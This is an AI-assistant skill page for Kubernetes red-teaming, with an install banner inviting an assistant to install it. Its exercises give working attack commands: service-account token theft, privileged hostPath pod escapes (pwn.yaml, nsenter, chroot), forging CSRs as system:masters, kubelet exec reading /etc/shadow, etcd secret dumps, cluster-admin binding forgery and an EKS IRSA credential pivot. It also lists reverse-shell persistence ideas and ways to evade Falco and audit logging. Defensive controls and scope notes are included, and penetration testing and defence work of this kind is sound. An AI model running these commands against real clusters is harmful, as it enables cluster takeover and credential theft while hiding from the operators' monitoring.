Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
{"domain":"cloud-native","tool_count":14,"guide_count":2,"mitre":"TA0008-Lateral Movement (containers), maps to MITRE ATT&CK for Containers","last_reviewed":"2026-07-26"}
Skill: Kubernetes Attack
Supplementary Files:
payloads.md — Command catalogue for kubectl, CDK, peirates, kube-hunter, kubescape, stratus-red-team, kube-bench, plus exploit recipes for RBAC abuse, pod escape, SA token theft, etcd dump, admission controller bypass, image poisoning, network policy evasion, EKS/GKE/AKS IAM pivot, persistence, and audit-log evasion — 13 sections with real kubectl flags and CVE references.
guides/kubernetes-attack-playbook.md — End-to-end red team playbook: scoping → recon → API discovery → RBAC abuse → pod escape → lateral movement → cloud IAM pivot → persistence → detection evasion. Includes pre-engagement checklist, MITRE ATT&CK for Containers matrix, and report template.
guides/k8s-escape-and-lateral-movement-playbook.md — Pod escape and lateral movement deep dive (privileged pods, hostPath mounts, capabilities, hostPID/hostIPC, kernel CVEs CVE-2022-0185 / CVE-2024-1086 / CVE-2024-21626, docker.sock/containerd.sock abuse, kubelet API on ports 10250/10255, etcd direct read/write, SA token theft and forging, RBAC escalation chains, kubectl plugin ecosystem — peirates, CDK, kube-hunter, BOtB, kubeletctl, with real-world incidents: Tesla cryptojacking, Capital One, TeamTNT)
Summary
Kubernetes attack skill domain covering cluster reconnaissance, RBAC privilege escalation, pod-to-host escape, service account token theft, API server exploitation, etcd attacks, supply chain (image and admission controller), and cloud-managed K8s (EKS/GKE/AKS) IAM pivoting.
MITRE ATT&CK: TA0008-Lateral Movement (containers), maps to MITRE ATT&CK for Containers matrix
Description
Kubernetes has become the dominant container orchestration platform, and with that dominance came a new attack surface that doesn't map cleanly onto traditional host, network, or application security. A K8s cluster is a control plane (API server, etcd, scheduler, controller-manager) plus a data plane (kubelet, container runtime, pods). Breaking the cluster almost never means popping a shell on a node — it means abusing the API to escalate privileges, steal a service account token, escape a pod to the host, or pivot from a compromised pod into the underlying cloud IAM role.
This skill covers the seven things that distinguish K8s attacks from generic Linux/container exploitation:
The API server is the crown jewel — every cluster action flows through kube-apiserver. Whoever controls an authorized token (or an unauthenticated endpoint) controls the cluster. CVE-2018-1002105 let unauthenticated attackers escalate to admin via a malicious HTTP/2 connection; the same conceptual class of bug recurs every release cycle.
RBAC is the new IAM — and is almost always wrong — ClusterRoleBinding to cluster-admin, default ServiceAccounts reused across pods, verbs like * on resources like *. A single misconfigured Role is the difference between "we found a webapp bug" and "we took over the cluster."
ServiceAccount tokens are bearer credentials — pre-1.24, every pod had a long-lived SA token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. Post-1.24 tokens are projected and short-lived, but the mounted path is the same and the token still grants whatever RBAC the SA has. Steal it from inside a pod → forge it → act as that SA from anywhere.
Pods are not the security boundary everyone thinks — hostPath, hostPID, hostNetwork, privileged: true, CAP_SYS_ADMIN, mounted docker.sock, mounted /proc — each of these is a documented, supported escape path to the node. Pod Security Admission (PSA) replaced the deprecated PSP in 1.25, but default policy is still permissive in most clusters.
etcd is the source of truth, not the API server — every Secret, every ConfigMap, every RBAC binding lives in etcd. Anyone with etcd client certs (or direct network access to port 2379) can read or write anything, including forging a cluster-admin binding. The k8s docs say "etcd keyspace is the keys to the kingdom"; they mean it.
Cloud-managed K8s hands you a cloud IAM pivot for free — EKS IRSA, GKE Workload Identity, AKS Managed Identity all bind a Kubernetes SA to a cloud role. Compromise the pod → exfiltrate the cloud token → call aws sts get-caller-identity → you're now in the cloud account, not just the cluster.
Supply chain dominates the long tail — admission controllers are the last line of defense against poisoned images, but imagePullPolicy: Always plus an unsigned tag plus a permissive MutatingWebhookConfiguration equals a persistent backdoor. cosign + Kyverno + OPA Gatekeeper exist for a reason.
Difference from cloud-security: Cloud-security covers the cloud provider control plane (AWS IAM, S3, IMDS, Azure AD). Kubernetes-attack covers what happens after you land inside a pod or compromise the API server, including the pivot path from K8s SA back into cloud IAM.
Difference from container-security: Container-security covers image scanning, runtime escape mechanics (cgroups, namespaces), and Docker daemon abuse. Kubernetes-attack covers the orchestration layer on top — RBAC, API server, etcd, admission, and the cluster's own control plane.
Difference from post-exploitation: Post-exploitation covers general host-level privilege escalation and persistence on Linux. Kubernetes-attack uses pods and the API server as the persistence and lateral movement medium — DaemonSets, CronJobs, and malicious operators instead of crontab and SSH keys.
Difference from supply-chain-security: Supply-chain covers package/dependency provenance for code. Kubernetes-attack covers image provenance, admission controller abuse, and registry poisoning — the deploy-time supply chain.
Pre-engagement cluster audit: Given a kubeconfig or a foothold in a single pod, enumerate the cluster, find RBAC over-privilege, and document every path to cluster-admin before an adversary does.
Red team cluster compromise: Starting from an exposed kubelet port or a leaked kubeconfig, chain API discovery → anonymous auth → RBAC escalation → secret exfiltration → cross-namespace lateral → etcd dump → full cluster takeover.
Pod escape verification: Verify whether a specific pod's securityContext, volume mounts, capabilities, or a kernel CVE (CVE-2022-0185 heap overflow in fs/context, CVE-2023-2640 / CVE-2023-32629 OverlayFS pipeio) can be leveraged to escape to the node.
Cloud-managed K8s IAM pivot: From a compromised pod in EKS/GKE/AKS, exfiltrate the bound cloud role credentials (IRSA, Workload Identity, Managed Identity) and pivot into the cloud account — turning a single RCE into cloud account compromise.
Service account token theft and replay: Extract the mounted SA token from a pod, replay it from an external host, and demonstrate that the bearer token alone — without any other foothold — grants the SA's full RBAC.
etcd direct-access exploitation: When network policy or firewall misconfiguration exposes etcd (port 2379) to a compromised network position, read all Secrets directly and forge cluster-admin bindings.
Admission controller bypass and abuse: Identify permissive MutatingWebhookConfiguration or ValidatingWebhookConfiguration, bypass a weak OPA Gatekeeper policy, or exploit a vulnerable admission webhook for code execution.
Supply chain attack via poisoned image: Build a backdoored base image, push it to a registry the cluster pulls from, and demonstrate persistent access via imagePullPolicy: Always plus a tag that drifts to the attacker's image.
Detection evasion on a hardened cluster: Operate inside a cluster that has audit logging + Falco + Hubble enabled — use existing SA tokens, avoid API calls that audit-log, and pick escape paths that Falco doesn't rule on.
Disaster recovery drill validation: As a defender exercise, simulate cluster compromise (kube-hunter + manual chaining) to validate that detection, response runbooks, and token rotation procedures actually work under pressure.
Core Tools
Cluster Reconnaissance & Discovery
Tool
Purpose
Command Example
kubectl
The universal cluster CLI — enumerate, create, exec, apply
kubectl auth can-i --list --as=system:anonymous
kube-hunter (Aqua)
Active hunter that fingerprints a cluster and reports known weakness
kube-hunter --remote <api-server> --active
kubescape (11k stars)
NSA/CIS/K8s best-practice scanner — 100+ controls
kubescape scan framework nsa --submit
kube-bench (8k stars)
CIS Kubernetes Benchmark automated checker
kube-bench --benchmark cis-1.10 run
kubeaudit
Audit K8s security configuration (RBAC, Pod Security, secrets)
Phase 1: Recon & Foothold — Identify the entry vector. Exposed kubelet (10250/tcp), exposed API server (6443/tcp) accepting anonymous auth, leaked kubeconfig in a CI log or git repo, SSRF that reaches the in-cluster metadata, or an RCE in an application pod. Tools: nmap, kubectl, kube-hunter.
Phase 2: API Discovery + Auth Bypass — From the foothold, discover the API server, enumerate endpoints, test for anonymous access (kubectl auth can-i --list --as=system:anonymous), check for --anonymous-auth=true + permissive system:anonymous/system:unauthenticated RBAC, and identify CVEs (CVE-2018-1002105 API server privilege escalation, CVE-2019-11253 YAML bomb DoS, CVE-2020-8554 MITM on external IPs).
Phase 3: RBAC Abuse + Privilege Escalation — Given any token, run kubectl auth can-i --list to enumerate what the SA can do. Classic escalations: pods/exec (get a shell anywhere), pods + create (mount a node's root filesystem via hostPath), serviceaccounts/token (forge tokens for any SA), secrets (read all cluster secrets), certificatesigningrequests (sign a client cert as any user). Kubescape and kube-bench flag the underlying misconfigurations.
Phase 4: Pod Escape + Runtime Escape — From a pod with permissive securityContext, escape to the node: hostPath mount of /, privileged: true + nsenter, hostPID + access another container's namespace, hostNetwork + ARP spoofing, mounted /var/run/docker.sock + spawn a privileged container, or kernel CVE (CVE-2022-0185 heap overflow in fs/context, CVE-2023-2640 / CVE-2023-32629 OverlayFS, CVE-2024-1086 netfilter UAF). CDK automates most of these checks via cdk evaluate --full.
Phase 5: Lateral Movement + Cloud IAM Pivot — Once on a node or in a privileged pod, move laterally: read all Secrets via etcd or the API, exec into other namespaces' pods, dump cloud IAM credentials via IMDS (AWS) or metadata (GCP/Azure). EKS IRSA: read the SA annotation eks.amazonaws.com/role-arn, exfiltrate the token from AWS_WEB_IDENTITY_TOKEN_FILE, call aws sts assume-role-with-web-identity. GKE Workload Identity: read the metadata server. AKS: read the Managed Identity token from IMDS.
Phase 6: Persistence + Detection Evasion — Establish long-term access and stay quiet. Persistence: malicious DaemonSet, CronJob running a reverse shell, mutating webhook that injects a sidecar, image tag drift (image: myrepo/app:latest pulled fresh with backdoor). Evasion: reuse existing SA tokens (no API audit), avoid pods/exec (Falco rule), use kubectl auth can-i instead of kubectl get where possible, throttle volume to stay under Hubble sampling.
Enforce restricted policy on all namespaces. Replaces the deprecated PodSecurityPolicy (PSP, removed in 1.25). Blocks privileged, hostPath, hostPID, hostNetwork, added caps, root UID 0.
RBAC least privilege
Audit every binding with kubectl auth can-i --list; ban cluster-admin for non-admin SAs; use kubectl-who-can to find over-privileged subjects. Kubescape control NS-1.1..1.3.
Network policies
Default-deny ingress + egress in every namespace. Use Calico or Cilium. Hubble verifies the policies are actually enforced.
--encryption-provider-config with a KMS-backed provider; etcd reachable only from control plane nodes; client cert auth required.
Audit logging at Metadata level
--audit-policy-file that logs all Secret access, all pods/exec, all RBAC changes. Ship to SIEM; alert on system:anonymous and on new cluster-admin bindings.
Image signing + admission
cosign-sign every image; Kyverno or OPA Gatekeeper policy that rejects unsigned images; pin images by digest, never by tag.
SA token rotation
1.24+ bound tokens are short-lived and rotated automatically; for legacy long-lived tokens, rotate every 90 days. Bound tokens are auditable via TokenRequest.
Runtime detection (Falco)
Rules for: shell in container, nsenter, write under /etc, /proc/sysrq-trigger, unexpected outbound connection, kubectl binary inside container.
Cloud IAM scope
Bound cloud role has minimal permissions — not the entire account. IRSA role trust policy limits StringEquals on the SA name and namespace.
Practical Steps
Detailed payloads in payloads.md, complete test checklist in test-cases.md.
Exercise 1: Cluster Reconnaissance from Inside a Pod
Goal: starting from RCE in a single pod, map the cluster.
# 1. Read the mounted SA token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# 2. Discover the API server from env / DNS
env | grep KUBERNETES
nslookup kubernetes.default.svc
cat /etc/resolv.conf
# 3. From inside the pod, hit the API with the mounted token
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods | jq -r '.items[].metadata.name'
# 4. Enumerate RBAC for this SA
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H 'Content-Type: application/json' \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'$NAMESPACE'"}}' \
| jq '.status.resourceRuleInfos[] | {verbs, resources}'
# 5. Or, equivalently, with kubectl if installed
kubectl auth can-i --list
Exercise 2: RBAC Privilege Escalation Chains
Goal: take a low-privileged SA and chain to cluster-admin.
# Pattern A: "pods create" → mount hostPath / → chroot to host
cat > pwn.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
name: pwn
namespace: default
spec:
hostPID: true
hostNetwork: true
containers:
- name: pwn
image: alpine
command: ["nsenter", "--target", "1", "--mount", "--", "sh"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath: { path: / }
hostNetwork: true
EOF
kubectl apply -f pwn.yaml
kubectl exec pwn -- chroot /host bash
# Pattern B: "serviceaccounts/token" → forge any SA's token (1.24+)
kubectl create token -n kube-system default # forge kube-system:default
kubectl create token -n kube-system system:masters # may be permitted if verb=* on serviceaccounts/token
# Pattern C: "certificatesigningrequests create" → sign a client cert as anyone
cat > csr.yaml <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata: { name: pwn }
spec:
signerName: kubernetes.io/kube-apiserver-client
request: $(openssl req -new -key sa.key -out csr.pem -subj "/CN=system:masters" 2>/dev/null && base64 csr.pem | tr -d '\n')
usages: [client auth]
EOF
kubectl apply -f csr.yaml
kubectl certificate approve pwn
# Pattern D: "secrets list/get" in kube-system → pull the default token
kubectl get secrets -n kube-system
kubectl get secret default-token-xxxxx -n kube-system -o jsonpath='{.data.token}' | base64 -d
# Pattern E: "pods/exec" → shell in any pod in any namespace you can list
kubectl exec -n kube-system apiserver-pod -c apiserver -- /bin/sh
Exercise 3: Pod Escape via hostPath / privileged
Goal: prove a pod's securityContext is exploitable.
# Use CDK's full evaluator — checks every escape primitive
cdk evaluate --full
# Manual: privileged + hostPID → nsenter into PID 1's mount namespace
kubectl run pwn --rm -it --restart=Never --image=alpine \
--overrides='{"spec":{"hostPID":true,"containers":[{"name":"pwn","image":"alpine","command":["nsenter","--target","1","--mount","--","sh"],"securityContext":{"privileged":true}}]}}' \
-- bash
# Manual: hostPath / mount → chroot
kubectl run pwn --rm -it --restart=Never --image=alpine \
--overrides='{"spec":{"volumes":[{"name":"h","hostPath":{"path":"/"}}],"containers":[{"name":"pwn","image":"alpine","command":["sh"],"volumeMounts":[{"name":"h","mountPath":"/host"}],"securityContext":{"privileged":true}}]}}'
# Inside the pod:
chroot /host bash
# You are now root on the node.
# Manual: docker.sock mount → spawn a privileged container on the host
ls -la /var/run/docker.sock
docker run -it --privileged --net=host --pid=host -v /:/host alpine chroot /host sh
Exercise 4: Kubelet API Abuse (port 10250)
Goal: enumerate and exploit an exposed kubelet port.
# Anonymous kubelet — many clusters misconfigure --anonymous-auth=true on the kubelet
curl -sk https://<node-ip>:10250/pods | jq '.items[].metadata.name'
# List pods running on a specific node
kubeletctl pods -s <node-ip>
# Execute a command in a pod via the kubelet — bypasses RBAC if anonymous kubelet is on
kubeletctl exec -s <node-ip> -p <pod-name> -c <container-name> "cat /etc/shadow"
# CDK's kubelet exploit primitive
cdk kcurl evade https://<node-ip>:10250/pods
Exercise 5: etcd Direct-Access Secret Dump
Goal: when etcd is reachable, dump everything.
# Requires etcd client certs OR unauthenticated etcd (rare but devastating)
export ETCDCTL_API=3
etcdctl --endpoints=https://<etcd-ip>:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only | head
# Dump every Secret in the cluster
etcdctl --endpoints=... get /registry/secrets --prefix | less
# Forge a cluster-admin binding
cat > admin.yaml <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: { name: pwn-admin }
subjects: [{ kind: User, name: system:anonymous }]
roleRef: { kind: ClusterRole, name: cluster-admin, apiGroup: rbac.authorization.k8s.io }
EOF
# Encode as JSON and write directly into etcd:
# key: /registry/clusterrolebindings/pwn-admin
# value: <base64 of yaml-as-json>
Exercise 6: EKS IRSA Pivot to AWS
Goal: from a pod in EKS, get AWS credentials and call the cloud API.
# 1. Read the IRSA env vars
env | grep AWS
# AWS_ROLE_ARN=arn:aws:iam::111122223333:role/my-app-role
# AWS_WEB_IDENTITY_TOKEN_FILE=/var/run/secrets/eks.amazonaws.com/serviceaccount/token
# 2. Exchange the web-identity token for AWS STS credentials
aws sts assume-role-with-web-identity \
--role-arn $AWS_ROLE_ARN \
--role-session-name pwn \
--web-identity-token $(cat $AWS_WEB_IDENTITY_TOKEN_FILE) \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken]' \
--output text
# 3. Use the credentials
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
aws s3 ls
# Pivot complete — you are now operating as the IAM role in the AWS account.
Exercise 7: Admission Controller Discovery and Bypass
Goal: find permissive webhooks and identify bypass paths.
# Enumerate webhooks
kubectl get mutatingwebhookconfigurations,validatingwebhookconfigurations -o yaml
# Each webhook has a `namespaceSelector` and an `objectSelector` — these can be bypassed
# if they use matchExpressions that the attacker controls. E.g.:
# namespaceSelector:
# matchExpressions:
# - key: environment
# operator: In
# values: ["production"]
# → attacker creates a pod in a namespace without that label → webhook skipped.
# Find the webhook service and inspect it directly
kubectl get svc -n <webhook-ns>
kubectl port-forward -n <webhook-ns> svc/<webhook-svc> 8443:443
curl -sk https://localhost:8443/validate -d '{}'
# If the webhook is in fail-open mode (failurePolicy: Ignore) and the webhook service is down,
# any pod creation will skip validation entirely.
Exercise 8: Persistence via DaemonSet + CronJob
Goal: maintain access even after the initial foothold is removed.
Privileged pod creation: Pod spec with privileged: true, hostPID, hostNetwork, hostPath mounts.
RBAC escalation: New clusterrolebindings.rbac.authorization.k8s.io with subject = user (not service account).
ServiceAccount token abuse: Pods mounting serviceAccountToken not declared in spec.
Anonymous auth: API server with --anonymous-auth=true; requests with no auth.
kubectl exec on system pods: kubectl exec on kube-apiserver, etcd, kube-controller-manager.
SIEM Detection Rules
Splunk SPL: index=k8s sourcetype=kube:audit verb=create resource=pods | where requestObject.spec.securityContext.privileged=true
Falco rule: Privileged pod started / Container launched with host path mount
Tetragon: eBPF-based runtime security policies.
Kubernetes Audit Logging: Native audit policy; alert on privileged RBAC.
Defense Evasion Techniques
Pod Creation Stealth
Use existing service accounts: Don't create new RBAC; use existing over-privileged SA.
Sidecar injection: Inject into existing pod via shared process namespace; no new pod creation.
CronJob one-shot: Schedule short-lived pod via CronJob; completes before detection.
PreStop hook abuse: Use existing pod's lifecycle hook; executes on shutdown.
ServiceAccount Token Theft
Steal mounted token: Read /var/run/secrets/kubernetes.io/serviceaccount/token from compromised pod.
Long-lived tokens: Some clusters still use non-expiring tokens; reuse indefinitely.
Token at rest in etcd: Steal token from etcd directly; bypasses admission audit.
Container Escape Stealth
Lesser-monitored syscalls: Use openat2, io_uring, bpf to evade default Falco rules.
CVE selection: Use newer CVEs (CVE-2024-1086 netfilter) before Falco rule updates.
Kernel namespace manipulation: unshare -U -r --map-root-user over setuid; less signature coverage.
API Server Stealth
Use existing credentials: Don't trigger new-login alerts; use stolen but valid tokens.
Anonymous auth abuse: API servers with --anonymous-auth=true; appears as anonymous system user.
kubeconfig in ConfigMap: Embed kubeconfig in ConfigMap; fetch via API later (no Secret creation event).
Common Pitfalls
Trusting the mounted SA token's RBAC at face value: kubectl auth can-i --list from inside a pod shows what the default SA can do. The default SA has minimal permissions in a well-configured cluster, but the application may use a different SA — read the pod's spec.serviceAccountName and re-run can-i against that SA's token.
Forgetting 1.24+ bound SA tokens are short-lived: pre-1.24 tokens never expired and could be replayed forever. 1.24+ projected tokens are bound to the pod and rotate; exfiltrating one only buys you minutes-to-hours. Plan your actions around the token lifetime, or use serviceaccounts/token (if your RBAC permits) to forge fresh ones.
Treating PSA as a silver bullet: Pod Security Admission defaults to warn mode in most clusters, not enforce. A pod that violates the restricted policy still gets created — you just see a warning. Verify with kubectl get ns -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.metadata.annotations.kubernetes\.io\/psa}{"\n"}{end}' and check enforce not warn.
Ignoring the cloud IAM layer under managed K8s: EKS/GKE/AKS are managed control planes, but the pods still get cloud IAM credentials via IRSA/Workload Identity/Managed Identity. A complete cluster compromise is rarely just "I have the cluster" — it's "I have the cluster AND the cloud role bound to every app in it."
Pulling images by tag instead of digest: image: nginx:latest can drift to a malicious image at any time. Always pin image: nginx@sha256:abc123... for anything that matters. cosign-sign and verify in admission.
Safety Notes
Multi-tenant clusters: pod escape in a multi-tenant cluster affects every tenant on the node. Verify the engagement scope explicitly authorizes escape attempts, and coordinate with the cluster ops team for a maintenance window.
Production clusters: any action that creates pods, modifies RBAC, or restarts components has blast radius. Prefer read-only enumeration in prod; do active exploitation in a clone of the cluster.
etcd writes are forever: a forged ClusterRoleBinding written to etcd persists across API server restarts and even cluster upgrades. Document every write and have a tested rollback path.
Cloud IAM pivots cross account boundaries: assuming an AWS role from a compromised pod is no longer "the K8s engagement" — it's now a cloud account engagement under a different ruleset and likely a different contractual scope. Stop and reconfirm scope before crossing that line.
Token exfiltration: a stolen SA token, once it leaves the cluster, is a credential. Store it as a secret, rotate it post-engagement, and never commit it to git (even in a private report repo).
Audit log footprint: every API call is logged at Metadata level in most production clusters. Assume your actions are visible; plan your detection-evasion strategy in advance and disclose what you did in the final report.
Hacker Laws
Trust but Verify — A kubeconfig from a CI log is not proof of live access. The cluster may have been torn down, the cert may have expired, the SA may have been rotated. Verify with kubectl auth can-i --list before treating the foothold as real.
Defense in Depth — Pod Security Admission alone does not stop escape. Layer PSA + RBAC least-privilege + network policies + admission webhooks + Falco runtime detection + audit logging + image signing. No single layer can be trusted as the sole defense.
Assume Breach — Design monitoring systems assuming a pod has already been compromised. Falco detects the shell, the hostPath mount, the unexpected outbound connection; audit logs capture the RBAC change; Hubble shows the lateral network move.
Least Privilege — A pod should not mount hostPath, should not run as root, should not have CAP_SYS_ADMIN, should not be privileged, should not share the host's PID/network namespaces. Every unnecessary permission is an escape vector.
Supply Chain Trust — Every image in the cluster is trusted transitively from its base image, through every build step, through the registry, through the admission controller, to runtime. Unsigned images pulled by tag are an open backdoor.
Minimize Attack Surface — Disable the kubelet anonymous endpoint, the API server anonymous auth, the insecure port 8080 (gone in 1.24+, but verify legacy clusters). Every disabled feature is one fewer entry point.
Information Wants to Be Free — Secrets in etcd are stored base64-encoded, not encrypted (unless encryption-at-rest is configured). Anyone with etcd access reads every Secret. Anyone with a SA token that can get secrets reads every Secret.
Weakest Link Is Human — Most cluster compromises start with a leaked kubeconfig, an over-privileged Helm chart, or an unsecured CI pipeline — not a crypto bug in the API server. Audit the humans and the pipeline, not just the cluster config.
Cross-References
skills/cloud-security/SKILL.md — AWS/Azure/GCP control plane attacks, IAM enumeration, IMDS abuse. The pivot destination for any cloud-managed K8s engagement.
skills/post-exploitation/SKILL.md — Host-level post-exploitation once you've escaped a pod to the node. Covers sudo/SUID/kernel privesc on the node.
skills/privilege-escalation/SKILL.md — Host privesc on the node post-escape. Overlaps with container-security on kernel CVEs.
skills/supply-chain-security/SKILL.md — Dependency/package provenance for code. Kubernetes-attack covers the deploy-time supply chain (images, admission, registry) which is adjacent.
skills/lateral-movement/SKILL.md — General lateral movement across a network. K8s-specific lateral (cross-namespace exec, etcd dump) is here.
skills/anti-forensics/SKILL.md — Cleaning up the DaemonSet, CronJob, forged RBAC binding, and audit log entries post-engagement.
skills/pentest-reporting/SKILL.md — Structuring the engagement deliverable with the K8s attack chain as the narrative spine.
skills/digital-forensics/SKILL.md — Defender-side analysis of audit logs, Falco events, and Hubble flows when responding to a real cluster compromise.
Learning Resources
This skill's supplementary files: payloads.md, test-cases.md
Deep-dive guide: guides/kubernetes-attack-playbook.md — end-to-end red team workflow with MITRE ATT&CK for Containers mapping, RBAC escalation playbook, pod escape decision tree, cloud IAM pivot procedures, and report structure.
Reference repositories (the inspirations for this skill):
